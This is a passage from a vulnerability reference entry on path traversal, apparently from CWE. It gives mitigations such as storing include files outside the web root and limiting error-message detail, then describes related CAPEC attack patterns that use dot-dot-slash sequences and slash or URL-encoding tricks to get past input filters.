- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.